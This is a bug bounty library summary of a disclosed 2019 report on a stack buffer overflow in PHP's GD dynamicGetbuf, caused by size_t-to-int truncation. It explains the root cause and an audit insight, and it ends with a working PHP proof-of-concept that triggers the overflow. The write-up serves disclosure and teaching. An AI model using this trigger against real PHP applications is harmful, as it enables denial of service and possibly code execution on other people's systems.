# Stack Buffer Overflow in GD dynamicGetbuf

Integer truncation of a size_t length to signed int in PHP's imagecreatefromstring() makes GD's dynamicGetbuf memcpy a huge negative length into a 1-byte stack buffer, causing stack overflow.

- Payout: $1,500
- Severity: high
- Program: Internet Bug Bounty
- Found by: libnex
- Disclosed: 2019-11-12
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/175587
- Library page: https://bugbountylibrary.com/r/h1%3A175587
- Tags: area:oss domain:oss impact:dos impact:rce kind:bounty platform:hackerone sev:high tech:php technique:chained technique:source-review vuln:memory-corruption

**Target:** PHP GD extension, imagecreatefromstring() / gd_io_dp.c dynamicGetbuf
**Root cause:** Z_STRLEN_P (size_t) is implicitly converted to signed int when passed to gdNewDynamicCtxEx; if MSB is set the size becomes negative, so remain = logicalSize - pos is negative and rlen=remain is used as memcpy length into a 1-byte stack buffer.
**Steps:**
1. Build PHP 7.0.11 with GD and ASan.
2. Create a string of length 4294967286 (str_repeat('A',4294967286)) with first 8 bytes set to \x00.
3. Call imagecreatefromstring($var_3).
4. Observe segfault / ASan stack-buffer-overflow WRITE of size 18446744073709551606 in dynamicGetbuf at gd_io_dp.c:246 via dynamicGetchar.
**How found:** Traced imagecreatefromstring() into gdNewDynamicCtxEx and noticed the size_t length is implicitly narrowed to signed int; followed the size into allocDynamic/dp->logicalSize, then into dynamicGetchar/dynamicGetbuf and reasoned that a negative remain would bypass the remain>=len branch and be used as memcpy length into a 1-byte buffer.
**Exploitation:** Attacker supplies a crafted image string (deliverable compressed <1KB over HTTP gzip) to any app passing user input to imagecreatefromstring(); the negative remain causes memcpy to write a massive length into a 1-byte stack buffer, corrupting the stack and crashing (potential RCE).
**Insight:** When auditing C extensions, follow length parameters across API boundaries looking for size_t→int narrowing; a negative length often bypasses bounds branches (remain>=len) and flows straight into memcpy.

## Proof of concept (copied exactly from the original report)

**PHP test script triggering stack overflow**

```
<?php
ini_set('memory_limit',-1);
$var_3  =  str_repeat("A",4294967286); //Note that although this is a large string, over HTTP gz compression, it's going to be less than 1kb
$var_3[0]="\x00";
$var_3[1]="\x00";
$var_3[2]="\x00";
$var_3[3]="\x00";
$var_3[4]="\x00";
$var_3[5]="\x00";
$var_3[6]="\x00";
$var_3[7]="\x00";
imagecreatefromstring($var_3);

?>
```

